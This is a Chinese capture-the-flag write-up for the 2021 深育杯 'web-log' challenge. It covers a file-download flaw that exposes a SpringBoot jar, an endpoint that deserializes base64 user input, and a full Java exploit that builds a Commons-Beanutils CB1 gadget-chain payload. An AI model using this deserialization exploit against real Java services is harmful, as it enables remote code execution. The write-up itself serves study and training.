2021年深育杯Web-log复现记录
web-log
文件下载
访问地址后直接下载了log文件,BurpSuite抓包,在http响应报文字段中可以查看
这个log文件的命名是以日期,尝试查看当天的日志,发现了Java的SpringBoot服务
所以可以下载jar包
日志中的logname是要传的参数,可以实现web目录下的文件下载
代码审计
一般流程
获得jar包后,扔入IDEA进行反编译,可以看到源码
- 首先一般看看控制器中的路由是怎么写的,初步寻找触发点
- 其次查看引入哪些依赖以及相应的版本,寻找可用的触发链
实操记录
首先看这个路由(一看就是不安分的、有洞的地方对吧)
接收字符串user,然后转字节并base64解码,然后对其反序列化,转化成User
对象,最后返回的时候调用getUserNicename()
@ResponseBody
@RequestMapping({"/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser"})
public String getUser(String user) throws Exception {
byte[] userBytes = Base64.getDecoder().decode(user.getBytes());
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User)in.readObject();
return userObj.getUserNicename();
}
瞅一眼服务启动时导入的第三方依赖pom.xml
,诶是有个显眼包
CB链直接打
由于题目所给的依赖中只有Commons-Beanutils,所以直接CB1链打
CB1链的相关分析:https://www.cnblogs.com/icfh/p/17718269.html
EXP:
public class CB1EXP {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] bytecodes = clazz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
Reflection.setFieldValue(templatesImpl,"_name","HelloTemplatesImpl");
Reflection.setFieldValue(templatesImpl,"_bytecodes", new byte[][]{bytecodes});
Reflection.setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("2");
Reflection.setFieldValue(comparator,"property","outputProperties");
Reflection.setFieldValue(queue,"queue",new Object[]{templatesImpl, templatesImpl});
byte[] bytes = Serialization.serialize(queue);
String payload = Base64.getEncoder().encodeToString(bytes);
System.out.println(payload);
}
}
BP上传打不通,可能是莫名其妙的编码了,Hackbar打通